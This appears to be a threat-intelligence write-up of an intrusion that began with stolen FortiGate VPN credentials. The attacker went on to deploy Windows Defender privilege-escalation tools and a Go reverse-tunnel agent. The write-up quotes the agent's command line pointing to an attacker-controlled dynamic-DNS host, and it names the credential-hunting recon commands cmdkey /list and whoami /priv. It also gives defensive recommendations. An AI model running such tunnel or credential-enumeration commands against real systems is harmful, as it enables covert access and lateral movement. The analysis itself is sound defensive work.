Nightmare-Eclipse Toolkit Deployed 8 Days After Public Release — FortiGate SSL VPN Intrusion Breakdown

When a new exploit toolkit drops publicly, defenders often assume they have weeks to respond. This intrusion erases that assumption. The Nightmare-Eclipse collection — three Windows privilege escalation tools targeting Windows Defender — was released April 2, 2026. By April 10, components were live in a real environment. Eight days is now the realistic pre-exploitation window for defenders when exploit code goes public.

1 Initial Access: Stolen FortiGate Credentials

Figure 1 — CVE-2026-33825 Microsoft security update published April 2, 2026 — eight days before deployment in this intrusion Via Huntress

The threat actor entered through FortiGate SSL VPN using compromised credentials — not an unpatched VPN vulnerability. The authentication pattern is what gives it away: logins originating from Russia, Singapore, and Switzerland within a tight timeframe, inconsistent with any single user's travel. Multi-geography credential abuse like this is standard for actors who purchase or harvest credential sets and rotate them through geographically diverse proxies to complicate IP-based blocking.

2 Post-Exploitation Activity

Figure 2 — Payload Execution Timeline Detected payload executions across the intrusion window, April 10–16 Via Huntress

The timeline shows rapid escalation: first malicious binary execution April 10, with the privilege escalation campaign running through April 16 as each tool failed and the next was attempted. Three separate PE tools deployed in sequence suggests the actor had a toolkit ready but no single reliable path — they were trying options until something worked.

Figure 3 — Recon via M365Copilot Parent whoami /priv spawned from Microsoft365Copilot.exe — attacker leveraged the Office process for initial recon commands Via Huntress

A notable OPSEC observation: the actor used whoami /priv, cmdkey /list, and net group in sequence from a suspicious parent process (M365Copilot.exe). Credential enumeration via cmdkey /list as an early recon step indicates the actor was specifically looking for stored RDP credentials — a common pivot vector that doesn't require additional exploitation.

3 Attack Chain

4 BeigeBurrow: Undocumented Reverse Tunnel Agent

Figure 4 — BeigeBurrow Command-Line Interface Available flags including -server, -hide, and -chain for multi-hop tunnel chaining Via Huntress

BeigeBurrow is a previously undocumented Go-compiled binary that establishes a persistent reverse tunnel using HashiCorp's yamux session multiplexing protocol. The observed execution:

agent.exe -server staybud.dpdns[.]org:443 -hide

The -hide flag suppresses the console window. A -chain flag supports daisy-chaining through multiple hops, though it wasn't used here. The agent connects outbound on TCP 443 and enters an infinite reconnect loop with a five-minute retry interval.

Figure 5 — BeigeBurrow Entry Point (Decompiled) Decompiled Go entry point showing flag parsing, tunnel configuration, and reconnect loop logic Via Huntress

Figure 6 — yamux Session Configuration HashiCorp yamux multiplexing config — each logical stream carries a target address, allowing pivot to arbitrary internal hosts over a single TCP connection Via Huntress

Once connected, BeigeBurrow creates a yamux session accepting multiple logical streams over the single TCP connection. Each stream carries target address and port information, allowing the operator to pivot to arbitrary internal hosts without spawning additional external connections. Multiplexed streams over port 443 are effectively invisible to perimeter firewall rules.

5 Indicators of Compromise

6 Recommended Actions

• Ingest FortiGate VPN authentication logs into your SIEM and alert on logins from multiple distinct countries within a 24-hour window per credential
• Block or alert on process execution originating from user-writable paths (Pictures, Downloads subfolders, AppData\Local\Temp)
• Hunt for listed IOCs across endpoint and network telemetry going back 60 days
• Ensure Windows Defender event logs (Event ID 1116, 1117) flow to your SIEM with active alerting, not passive storage
• Review firewall egress rules for outbound connections to dynamic DNS providers on port 443 — long-lived connections over yamux won't look like normal browsing but may slip past simple rules
• Audit privileged credential storage: cmdkey /list as an early recon step means the actor was actively hunting stored RDP or network credentials